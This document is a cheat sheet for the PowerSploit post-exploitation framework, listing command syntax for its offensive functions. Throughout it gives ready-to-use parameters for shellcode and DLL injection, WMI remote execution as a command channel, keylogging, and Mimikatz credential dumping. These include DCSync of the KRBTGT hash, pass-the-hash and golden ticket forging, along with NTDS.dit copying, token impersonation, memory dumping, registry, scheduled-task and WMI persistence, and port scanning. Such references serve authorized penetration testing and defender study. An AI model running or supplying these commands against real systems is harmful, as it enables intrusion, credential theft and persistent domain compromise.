# PowerSploit Cheat Sheet


## Getting Started

**Get PowerSploit:** http://bit.ly/28RwLgo

**PowerSploit Authors:** @mattifestation, @obscuresec, @JosephBialek, @harmj0y, @secabstraction, @RichLundeen

**Mimikatz Authors:** @gentilkiwi and Vincent LE TOUX

**Docs:** http://powersploit.readthedocs.io/

**Note:** not all PowerSploit functions are covered, and not all options for covered functions are covered. PowerView and PowerUp have their own cheat sheets.

## CodeExecution

**Invoke-ReflectivePEInjection** will reflectively load a DLL/EXE into powershell.exe or a remote process.

| | |
|---|---|
| A byte array with the PE/DLL to load | **-PEBytes @(…)** |
| Optional- one or more remote computers to run the script on. | **-ComputerName "comp1","comp2"** |
| Optional arguments to pass to the loaded PE | **-ExeArgs "Arg1 Arg2…"** |
| Optional process name to load the PE into | **-ProcName <NAME>** |
| Optional process ID to load the PE into | **-ProcId <ID>** |

**Invoke-Shellcode** will inject shellcode into powershell.exe or a remote process. Shellcode should be in the form of a byte array (e.g. 0xXX,0xXY,.. )

To convert a raw shellcode file in Bash, run the following: **hexdump -ve '/1 "0x%02x,"' file.bin |sed 's/.$//'**

| | |
|---|---|
| Process ID to inject shellcode into | **-ProcessID <ID>** |
| Byte array of shellcode to inject | **-Shellcode @(0xXX,0xXY…)** |
| Switch, inject shellcode w/o prompting for confirmation | **-Force** |

**Invoke-WmiCommand** executes a PowerShell code on a target computer(s) using WMI as a pure C2 channel.

| | |
|---|---|
| The scriptblock to run on the target(s) | **-Payload { … }** |
| Optional- one or more remote computers to run the script on. | **-ComputerName "comp1", "comp2"** |
| An optional PSCredential object to use for remote execution (default=current user) | **-Credential $Cred** |

## Exfiltration

**Get-GPPPassword** will decrypt any found passwords set through Group Policy Preferences.

**Get-Keystrokes** will log keys pressed (along with the time and active window) to a file.

| | |
|---|---|
| Path for the output log file, defailts to $Env:Temp\key.log | **-LogPath <PATH>** |
| The internal (in minutes) to capture keystrokes. Default is indefinite. | **-Timeout <X>** |

**Get-TimedScreenshot** will take screenshots on an interval and save them to disk.

| | |
|---|---|
| The folder path to save screenshots | **-LogPath <PATH>** |
| The internal (in seconds) between taking screenshots | **-Interval <X>** |
| When the script should stop running, HH-MM format | **-EndTime HH-MM** |

**Invoke-Mimikatz** uses Invoke-ReflectivePEInjection to inject Mimikatz into memory. By default it will run the **sekurlsa::logonpasswords** module.

To update the Mimikatz code, select the "Second_Release_PowerShell" compile target in the Mimikatz project, compile for both Win32 and x64, **base64 –w 0 powerkatz.dll,** and replace the base64-DLL strings in **Invoke-Mimikatz**.

| | |
|---|---|
| Optional- one or more remote computers to run the script on. | **-ComputerName "comp1","comp2"** |
| Custom Mimikatz commands (note: enclose in single quotes) | **-Command '"CMD1" "CMD2"'** |

Useful custom **Invoke-Mimikatz** commands:

| | |
|---|---|
| Extract MSCache hashes | **'"token::elevate" "lsadump::cache" "token::revert"'** |
| Export Kerberos tickets as base64 blobs | **'"standard::base64" "kerberos::list /export"'** |
| DCSync the KRBTGT hash for 'domain.local' | **'"lsadump::dcsync /user:krbtgt /domain:domain.local"'** |
| Spawn a process with alternate NTLM credentials | **'"sekurlsa::pth /user:user /domain:domain.local /ntlm:<NTLM> /run:cmd.exe"'** |
| Willy Wonka's Golden Ticket Generator | **'"kerberos::golden /user:<USER> /krbtgt:<NTLM> /domain:domain.local /sid:<DOMAIN_SID> /ptt"'** |
| Purge Kerberos tickets | **'"kerberos::purge"'** |

**Invoke-NinjaCopy** can copy locked files from a system by opening up raw disk access and parsing the NTFS structures. This is useful for cloning off things like NTDS.dit and SYSTEM hives.

| | |
|---|---|
| Full path of the file to copy | **-Path C:\Windows\NTDS\NTDS.dit** |
| Local destination to copy the file to | **-LocalDestination C:\Temp\NTDS.dit** |
| Destination on remote server to copy file to | **-RemoteDestination C:\Temp\NTDS.dit** |
| Optional- one or more remote computers to run the script on. | **-ComputerName "comp1", "comp2"** |

Version 1.1 - Created by Will Schroeder (@harmj0y) and released under the Creative Commons v3 "Attribution" License.

**Invoke-TokenManipulation** manipulates tokens and is roughly equivalent to Incognito.

| | |
|---|---|
| Switch. Enumerate unique usable tokens | **-Enumerate** |
| Displays current credentials for the powershell.exe process | **-WhoAmI** |
| Switch. Revert to original token context | **-RevToSelf** |
| Switch. Show ALL tokens | **-ShowAll** |
| Create an alternate process with a given token- use with Username/ ProcessId/ThreadId | **-CreateProcess "cmd.exe"** |
| Specify the token to impersonate by username | **-Username <X>** |
| Specify the token to impersonate by process ID | **-ProcessId <Y>** |
| Specify the token to impersonate by thread ID | **-ThreadId <Z>** |
| Switch, use if created process doesn't need a UI | **-NoUI** |

**Out-Minidump** generates a full-memory minidump of a process, similar to procdump.exe with the '-ma' switch.

Example: dump memory of all processes to C:\Temp:
**Get-Process | Out-Minidump -DumpFilePath C:\Temp**

| | |
|---|---|
| The process object to dump memory for, passable on the pipeline | **-Process (Get-Process -Id 4293)** |
| Path to save the memory dump to, defaults to .\processname_id.dmp | **-DumpFilePath .\file.dmp** |

## Persistence

**New-UserPersistenceOption** builds a user-land option set usable by **Add-Persistence**

| | |
|---|---|
| Switch, persist via the CurrentVersion\Run key | **-Registry** |
| Switch, run the registry payload on any user logon | **-AtLogon** |
| Switch, use a userland scheduled task | **-ScheduledTask** |
| Run the schtask after one minute of idling | **-OnIdle** |
| Run the schtask hourly | **-Daily** |
| Run the schtask hourly | **-Hourly** |
| Run the schtask at the specified time | **-At HH:MM** |

**New-ElevatedPersistenceOption** builds an elevated option set usable by **Add-Persistence**

| | |
|---|---|
| Switch, persist via the CurrentVersion\Run key | **-Registry** |
| Switch, use a SYSTEM scheduled task | **-ScheduledTask** |
| Switch, use a permanent WMI subscription | **-PermanentWMI** |
| Run the schtask after one minute of idling | **-OnIdle** |
| Run the schtask hourly | **-Hourly** |
| Run the schtask/registry payload on any user logon | **-AtLogon** |
| Run the schtask/WMI sub daily | **-Daily** |
| Run the schtask/WMI sub at the specified time | **-At HH:MM** |
| Run the WMI sub within 5 min of system boot | **-AtStartup** |
| Run the schtask at the specified time | **-At HH:MM** |

**Add-Persistence** adds persistence capabilities to a script.

| | |
|---|---|
| Payload script block | **-ScriptBlock {…}** |
| Payload file | **-FilePath .\file.ps1** |
| Elevated persistence options | **-ElevatedPersistenceOption $X** |
| Userland persistence options | **-UserPersistenceOption $Y** |

## Recon

**Invoke-Portscan** is a simple threaded port scanner that mimics nmap's options.

| | |
|---|---|
| Hosts to scan, in hostname, IP, or CIDR format | **-Hosts host1,host2,…**<br>**-Hosts 192.168.1.0/24** |
| File with host specifications | **-HostFile .\hosts.txt** |
| Comma-separated list of hosts to exclude | **-ExcludeHosts host3, host4** |
| Ports to scan | **-Ports 21,80-100** |
| Scan the X most common ports | **-TopPorts <50-1000>** |
| Exclude ports from scan | **-ExcludedPorts X,Y** |
| Treat all hosts as online | **-SkipDiscovery** |
| Ping scan only (disable port scan) | **-PingOnly** |
| Number of threads to use, defaults to 100 | **-Threads <X>** |
| Timeout (in milliseconds) for each port check | **-Timeout <Y>** |
| Number of hosts to concurrently scan | **-nHosts <Z>** |
| Performance options, higher is more aggressive | **-T [1-5]** |
| Greppable output | **-GrepOut <file>** |
| XML output | **-XMLOut <file>** |
| Readable output | **-ReadableOut <file>** |
| All output formats | **-AllformatsOut <file>** |
| Suppress console output, useful for large scans | **-quiet** |

## More Information

https://github.com/PowerShellMafia/PowerSploit

http://www.exploit-monday.com/

https://obscuresecurity.blogspot.com/

https://clymb3r.wordpress.com/

http://blog.harmj0y.net/

Version 1.1 - Created by Will Schroeder (@harmj0y) and released under the Creative Commons v3 "Attribution" License.